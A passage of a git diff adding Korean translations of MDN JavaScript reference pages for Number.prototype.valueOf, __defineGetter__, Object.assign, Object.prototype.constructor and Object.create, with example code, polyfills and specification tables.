+   <td>{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/valueof/index.html b/files/ko/web/javascript/reference/global_objects/number/valueof/index.html
new file mode 100644
index 0000000000..344fa96ca2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/valueof/index.html
@@ -0,0 +1,86 @@
+---
+title: Number.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 메서드는 {{jsxref("Number")}} 객체가 감싼<sup>wrapped</sup> {{Glossary("primitive", "원시")}} 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.valueOf()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Number")}} 객체의 원시 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>valueOf()</code> 메서드는 보통 JavaScript에 의해 내부적으로 호출되고, 웹 코드에서는 명시적으로 호출하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용하기"><code>valueOf</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = new Number(10);
+console.log(typeof numObj); // object
+
+var num = numObj.valueOf();
+console.log(num);           // 10
+console.log(typeof num);    // number
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.valueOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html b/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html
new file mode 100644
index 0000000000..2ded710fda
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html
@@ -0,0 +1,99 @@
+---
+title: Object.prototype.__defineGetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p>이 기능은 object initializer 문법 혹은 {{jsxref("Object.defineProperty()")}} API를 사용한 getter 정의가 표준화됨으로써 비표준화되었습니다.<br>
+ 이 기능은 이제까지의 ECMAScript 사양에서만 사용되고 있습니다.<br>
+ 보다 좋은 방법이 있으므로, 이 메소드는 사용하지 말아야합니다.</p>
+</div>
+
+<p><code><strong>__defineGetter__</strong></code> 메소드는 오브젝트의 프로퍼티와 함수를 바인드합니다.<br>
+ 프로퍼티의 값이 조회될 때 바인드된 함수가 호출됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__defineGetter__(<var>prop</var>, <var>func</var>)</pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>함수와 바인드된 프로퍼티의 이름을 나타내는 문자열</dd>
+ <dt><code>func</code></dt>
+ <dd>프로퍼티 값이 조회되었을 때 호출되는 함수</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>__defineGetter__</code> 를 사용하여 기존 오브젝트의 {{jsxref("Operators/get", "getter", "", 1)}}를 사용할 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// Non-standard and deprecated way
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Standard-compliant ways
+
+// Using the get operator
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+// Using Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+  get: function() {
+    return 5;
+  }
+});
+console.log(o.gimmeFive); // 5
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__defineGetter__', 'Object.prototype.__defineGetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Included in the (normative) annex for additional ECMAScript legacy features for Web browsers (note that the specification codifies what is already in implementations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.defineGetter")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}} operator</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">JS Guide: Defining Getters and Setters</a></li>
+ <li><a href="https://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Blog Post] Deprecation of __defineGetter__ and __defineSetter__</a></li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/assign/index.html b/files/ko/web/javascript/reference/global_objects/object/assign/index.html
new file mode 100644
index 0000000000..38b25d0bd8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/assign/index.html
@@ -0,0 +1,284 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Global_Objects/Object/assign
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - polyfill
+  - 객체
+  - 레퍼런스
+  - 메소드
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.assign()</code> </strong>메소드는 열거할 수 있는 하나 이상의 출처 객체로부터 대상 객체로 속성을 복사할 때 사용합니다. 대상 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-assign.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.assign(<var>target</var>, ...<var>sources</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>대상 객체.</dd>
+ <dt><code>sources</code></dt>
+ <dd>하나 이상의 출처 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>동일한 키가 존재할 경우 대상 객체의 속성은 출처 객체의 속성으로 덮어쓰여집니다. 후에 출처의 속성은 이전의 출처의 속성과 유사하게 덮어씁니다.</p>
+
+<p><code>Object.assign()</code> 메소드는 열거할 수 있는 출처 객체의 속성만 대상 객체로 복사합니다. 이 메소드는 출처 객체의 <code>[[Get]]</code>, 대상 객체의 <code>[[Set]]</code> 을 사용하여 getter 와 setter 를 호출합니다. 따라서 이는 속성을 단순히 복사하거나 새롭게 정의하는 것이 아니라 할당하는 것입니다. 병합 출처가 getter 를 포함하는 경우 프로토타입으로 새로운 속성을 병합하는 것이 적절하지 않을 수 있습니다. 프로토타입으로 속성의 열거성을 포함한 속성의 정의를 복사하려면 대신 {{jsxref("Object.getOwnPropertyDescriptor()")}} 와 {{jsxref("Object.defineProperty()")}} 를 사용해야합니다.</p>
+
+<p>{{jsxref("String")}} 과 {{jsxref("Symbol")}} 속성 모두가 복사됩니다.</p>
+
+<p>에러가 발생할 수 있는 상황에서는(예, 프로퍼티가 쓰기 불가인 경우), {{jsxref("TypeError")}} 가 발생하며, 에러가 발생하기 전에 속성이 추가되었다면 <code>target</code> 객체는 변경될 수 있습니다.</p>
+
+<p><code>Object.assign()</code> 메소드는 {{jsxref("null")}} 또는 {{jsxref("undefined")}} 출처 값에 대해서는 오류를 던지지 않음을 유의하세요.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="객체_클로닝">객체 클로닝</h3>
+
+<pre class="brush: js">const obj = { a: 1 };
+const copy = Object.assign({}, obj);
+console.log(copy); // { a: 1 }
+</pre>
+
+<h3 id="Deep_Clone" name="Deep_Clone">깊은 클로닝에 대한 주의사항</h3>
+
+<p>깊은 클로닝에 대해서, <code>Object.assign()</code> 은 속성의 값을 복사하기때문에 다른 대안을 사용해야합니다. 출처 값이 객체에 대한 참조인 경우, 참조 값만을 복사합니다.</p>
+
+<pre class="brush: js">function test() {
+  'use strict';
+
+  let obj1 = { a: 0 , b: { c: 0}};
+  let obj2 = Object.assign({}, obj1);
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj1.a = 1;
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj2.a = 2;
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
+
+  obj2.b.c = 3; // obj1, obj2 모두에 영향을 줌
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}}
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}}
+
+  // 깊은 클론
+  obj1 = { a: 0 , b: { c: 0}};
+  let obj3 = JSON.parse(JSON.stringify(obj1));
+  obj1.a = 4;
+  obj1.b.c = 4;
+  console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}}
+}
+
+test();</pre>
+
+<h3 id="객체_병합">객체 병합</h3>
+
+<pre class="brush: js">const o1 = { a: 1 };
+const o2 = { b: 2 };
+const o3 = { c: 3 };
+
+const obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, 대상 객체 자체가 변경됨.</pre>
+
+<h3 id="같은_속성을_가진_객체_병합">같은 속성을 가진 객체 병합</h3>
+
+<pre class="brush: js">const o1 = { a: 1, b: 1, c: 1 };
+const o2 = { b: 2, c: 2 };
+const o3 = { c: 3 };
+
+const obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }</pre>
+
+<p>속성은 파라미터 순서에서 더 뒤에 위치한 동일한 속성을 가진 다른 객체에 의해 덮어쓰입니다.</p>
+
+<h3 id="심볼형_속성_복사">심볼형 속성 복사</h3>
+
+<pre class="brush: js">const o1 = { a: 1 };
+const o2 = { [Symbol('foo')]: 2 };
+
+const obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
+</pre>
+
+<h3 id="프로토타입_체인의_속성과_열거_불가형_속성은_복사_불가">프로토타입 체인의 속성과 열거 불가형 속성은 복사 불가</h3>
+
+<pre class="brush: js">const obj = Object.create({ foo: 1 }, { // foo 는 obj 의 프로토타입 체인상에 있음.
+  bar: {
+    value: 2  // bar 는 열거 불가능한 속성임.
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz 는 자체 열거형 속성임.
+  }
+});
+
+const copy = Object.assign({}, obj);
+console.log(copy); // { baz: 3 }
+</pre>
+
+<h3 id="원시_자료형은_객체로_래핑">원시 자료형은 객체로 래핑</h3>
+
+<pre class="brush: js">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo');
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// 원시 자료형은 래핑되지만, null 과 undefined 는 무시됨.
+// 스트링 래퍼만 자체 열거형 속성을 가짐을 유의.
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="예외에_의해_진행중인_복사_작업_중단">예외에 의해 진행중인 복사 작업 중단</h3>
+
+<pre class="brush: js">var target = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writable: false
+}); // target.foo 는 읽기 전용 속성
+
+Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// target.foo 에 할당할 때 예외 발생
+
+console.log(target.bar);  // 2, 첫 번째 출처 객체는 성공적으로 복사되었음.
+console.log(target.foo2); // 3, 두 번째 출처 객체의 첫 번째 프로퍼티도 성공적으로 복사되었음.
+console.log(target.foo);  // 1, 여기에서 예외가 발생.
+console.log(target.foo3); // undefined, assign 메소드가 종료되었음, foo3 은 복사되지 않음.
+console.log(target.baz);  // undefined, 세 번째 출처도 복사되지 않음.
+</pre>
+
+<h3 id="접근자_복사">접근자 복사</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var copy = Object.assign({}, obj);
+console.log(copy);
+// { foo: 1, bar: 2 }, copy.bar 의 값은 obj.bar 의 getter 의 반환 값임.
+
+// 모든 descriptors 를 복사하는 할당 함수
+function completeAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    let descriptors = Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {});
+    // 기본적으로, Object.assign 는 열거형 Symbol 도 복사함.
+    Object.getOwnPropertySymbols(source).forEach(sym =&gt; {
+      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+      if (descriptor.enumerable) {
+        descriptors[sym] = descriptor;
+      }
+    });
+    Object.defineProperties(target, descriptors);
+  });
+  return target;
+}
+
+var copy = completeAssign({}, obj);
+console.log(copy);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>ES5 에는 심볼이 없기 때문에 다음 {{Glossary("Polyfill","폴리필")}} 은 심볼 속성을 지원하지 않습니다.</p>
+
+<pre class="brush: js">if (typeof Object.assign != 'function') {
+  // Must be writable: true, enumerable: false, configurable: true
+  Object.defineProperty(Object, "assign", {
+    value: function assign(target, varArgs) { // .length of function is 2
+      'use strict';
+      if (target == null) { // TypeError if undefined or null
+        throw new TypeError('Cannot convert undefined or null to object');
+      }
+
+      var to = Object(target);
+
+      for (var index = 1; index &lt; arguments.length; index++) {
+        var nextSource = arguments[index];
+
+        if (nextSource != null) { // Skip over if undefined or null
+          for (var nextKey in nextSource) {
+            // Avoid bugs when hasOwnProperty is shadowed
+            if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+              to[nextKey] = nextSource[nextKey];
+            }
+          }
+        }
+      }
+      return to;
+    },
+    writable: true,
+    configurable: true
+  });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Object.assign")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">속성의 열거성과 소유권</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax#Spread_in_object_literals">객체 리터럴에서의 Spread</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/constructor/index.html b/files/ko/web/javascript/reference/global_objects/object/constructor/index.html
new file mode 100644
index 0000000000..0162140d9c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/constructor/index.html
@@ -0,0 +1,155 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Reference/Global_Objects/Object/constructor
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<div>{{JSRef}}</div>
+
+<p>인스턴스의 프로토타입을 만든 {{jsxref("Object")}} 함수의 참조를 반환합니다. 이 속성값은 함수 자체의 참조임을 주의하세요, 함수 이름을 포함하는 문자열이 아니라. 그 값은 <code>1</code>, <code>true</code> 및 <code>"test"</code>와 같은 원시(primitive) 값에 대해서만 읽기 전용입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 자신의 <code>prototype</code>으로부터 <code>constructor</code> 속성을 상속합니다:</p>
+
+<pre>var o = {};
+o.constructor === Object; // true
+
+var o = new Object;
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var a = new Array;
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체의_생성자_표시하기">객체의 생성자 표시하기</h3>
+
+<p>다음 예는 프로토타입이 <code>Tree</code>인 그 형의 객체 <code>theTree</code>를 만듭니다. 그 다음 객체 <code>theTree</code>의 <code>constructor</code>를 표시합니다.</p>
+
+<pre class="brush: js">function Tree(name) {
+  this.name = name;
+}
+
+var theTree = new Tree('Redwood');
+console.log('theTree.constructor is ' + theTree.constructor);
+</pre>
+
+<p>이 예는 다음 출력을 표시합니다:</p>
+
+<pre class="brush: js">theTree.constructor is function Tree(name) {
+  this.name = name;
+}
+</pre>
+
+<h3 id="객체의_생성자_바꾸기">객체의 생성자 바꾸기</h3>
+
+<p>다음 예는 일반 객체의 constructor 값을 수정하는 법을 보입니다. <code>true</code>, <code>1</code> 및 <code>"test"</code>만이 원래 읽기 전용 생성자를 갖기에 영향을 받지 않습니다. 이 예는 객체의 <code>constructor</code> 속성에 의존하는 게 항상 안전하지는 않음을 보입니다.</p>
+
+<pre class="brush:js">function Type () {}
+
+var types = [
+  new Array(),
+  [],
+  new Boolean(),
+  true,             // 바뀌지 않음
+  new Date(),
+  new Error(),
+  new Function(),
+  function () {},
+  Math,
+  new Number(),
+  1,                // 바뀌지 않음
+  new Object(),
+  {},
+  new RegExp(),
+  /(?:)/,
+  new String(),
+  'test'            // 바뀌지 않음
+];
+
+for (var i = 0; i &lt; types.length; i++) {
+  types[i].constructor = Type;
+  types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
+}
+
+console.log(types.join('\n'));
+</pre>
+
+<p>이 예는 다음 출력을 표시합니다:</p>
+
+<pre class="brush: js">function Type() {},false,
+function Type() {},false,
+function Type() {},false,false
+function Boolean() {
+    [native code]
+},false,true
+function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
+function Type() {},false,Error
+function Type() {},false,function anonymous() {
+
+}
+function Type() {},false,function () {}
+function Type() {},false,[object Math]
+function Type() {},false,0
+function Number() {
+    [native code]
+},false,1
+function Type() {},false,[object Object]
+function Type() {},false,[object Object]
+function Type() {},false,/(?:)/
+function Type() {},false,/(?:)/
+function Type() {},false,
+function String() {
+    [native code]
+},false,test
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Object.constructor")}}</div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/javascript/reference/global_objects/object/create/index.html b/files/ko/web/javascript/reference/global_objects/object/create/index.html
new file mode 100644
index 0000000000..87a672aace
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/create/index.html
@@ -0,0 +1,271 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Global_Objects/Object/create
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.create()</strong></code> 메서드는 지정된 프로토타입 객체 및 속성(property)을 갖는 새 객체를 만듭니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.create(<var>proto</var>[, <var>propertiesObject</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>proto</code></dt>
+ <dd>새로 만든 객체의 프로토타입이어야 할 객체.</dd>
+ <dt><code>propertiesObject</code></dt>
+ <dd>선택사항. 지정되고 {{jsxref("undefined")}}가 아니면, 자신의 속성(즉, 자체에 정의되어 그 프로토타입 체인에서 열거가능하지 <em>않은</em> 속성)이 열거가능한 객체는 해당 속성명으로 새로 만든 객체에 추가될 속성 설명자(descriptor)를 지정합니다. 이러한 속성은 {{jsxref("Object.defineProperties()")}}의 두 번째 인수에 해당합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>지정된 프로토타입 개체와 속성을 갖는 새로운 개체.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>proto</code> 매개변수가 {{jsxref("null")}} 또는 객체가 아닌 경우 {{jsxref("TypeError")}} 예외가 발생(throw).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Object.create()를_사용한_고전적인_상속방법"><code>Object.create()</code>를 사용한 고전적인 상속방법</h3>
+
+<p>아래는 고전적인 상속방법으로 사용된 <code>Object.create()</code> 사용 예입니다. 이는 단일 상속 용으로, JavaScript가 지원하는 전부입니다.</p>
+
+<pre class="brush: js">// Shape - 상위클래스
+function Shape() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// 상위클래스 메서드
+Shape.prototype.move = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Shape moved.');
+};
+
+// Rectangle - 하위클래스
+function Rectangle() {
+  Shape.call(this); // super 생성자 호출.
+}
+
+// 하위클래스는 상위클래스를 확장
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('Is rect an instance of Rectangle?', rect instanceof Rectangle); // true
+console.log('Is rect an instance of Shape?', rect instanceof Shape); // true
+rect.move(1, 1); // Outputs, 'Shape moved.'
+</pre>
+
+<p>여러 객체에서 상속하고 싶은 경우엔 mixin이 사용가능합니다.</p>
+
+<pre class="brush: js">function MyClass() {
+  SuperClass.call(this);
+  OtherSuperClass.call(this);
+}
+
+MyClass.prototype = Object.create(SuperClass.prototype); // 상속
+mixin(MyClass.prototype, OtherSuperClass.prototype); // mixin
+
+MyClass.prototype.myMethod = function() {
+  // 기능 수행
+};
+</pre>
+
+<p><code>mixin</code> 함수는 상위(super)클래스 프로토타입에서 하위(sub)클래스 프로토타입으로 함수를 복사하고, mixin 함수는 사용자에 의해 공급될 필요가 있습니다. mixin 같은 함수의 예는 <a href="https://api.jquery.com/jQuery.extend/">jQuery.extend()</a>입니다.</p>
+
+<h3 id="Object.create()와_함께_propertiesObject_인수_사용하기"><code>Object.create()<font face="Open Sans, Arial, sans-serif">와 함께 </font></code><code>propertiesObject</code> 인수 사용하기</h3>
+
+<pre class="brush: js">var o;
+
+// 프로토타입이 null인 객체 생성
+o = Object.create(null);
+
+
+o = {};
+// 위는 아래와 같습니다:
+o = Object.create(Object.prototype);
+
+
+// 샘플 속성 두개를 갖는 객체를 만드는 예.
+// (두 번째 매개변수는 키를 *속성 설명자*에 맵핑함을 주의하세요.)
+o = Object.create(Object.prototype, {
+  // foo는 정규 '값 속성'
+  foo: { writable: true, configurable: true, value: 'hello' },
+  // bar는 접근자(accessor, getter-및-setter) 속성
+  bar: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Setting `o.bar` to', value); }
+/* ES5 접근자로 코드는 이렇게 할 수 있습니다
+    get function() { return 10; },
+    set function(value) { console.log('setting `o.bar` to', value); } */
+  }
+});
+
+
+function Constructor() {}
+o = new Constructor();
+// 위는 아래와 같습니다:
+o = Object.create(Constructor.prototype);
+// 물론, 생성자 함수에 실제 초기화 코드가 있다면
+// Object.create()는 그것을 반영할 수 없습니다
+
+
+// 빈 새 객체가 프로토타입인 새 객체를 만들고
+// 값이 42인 단일 속성 'p' 추가.
+o = Object.create({}, { p: { value: 42 } });
+
+// 기본으로 writable, enumerable 또는 configurable 속성은 false:
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// ES3 속성을 지정하기 위해
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>이 폴리필에서는 새 개체에 대한 프로토타입이 선택되었지만 두번째 인수가 없이 개체를 생성하는 사례를 보여줍니다.</p>
+
+<p><code>[[Prototype]]</code>에 <code>null</code> 을 설정하는 것이 실제 ES5 <code>Object.create</code>에서는 지원되지만, ECMAScript 5 보다 낮은 버전에서는 상속에 제한이 있기 때문에 이 폴리필에서는 지원할 수 없음에 주의하세요.</p>
+
+<pre class="brush: js">if (typeof Object.create != 'function') {
+  Object.create = (function(undefined) {
+    var Temp = function() {};
+    return function (prototype, propertiesObject) {
+      if(prototype !== Object(prototype) &amp;&amp; prototype !== null) {
+        throw TypeError('Argument must be an object, or null');
+      }
+      Temp.prototype = prototype || {};
+      if (propertiesObject !== undefined) {
+        Object.defineProperties(Temp.prototype, propertiesObject);
+      }
+      var result = new Temp();
+      Temp.prototype = null;
+      // Object.create(null)인 경우 모방
+      if(prototype === null) {
+         result.__proto__ = null;
+      }
+      return result;
+    };
+  })();
+}</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
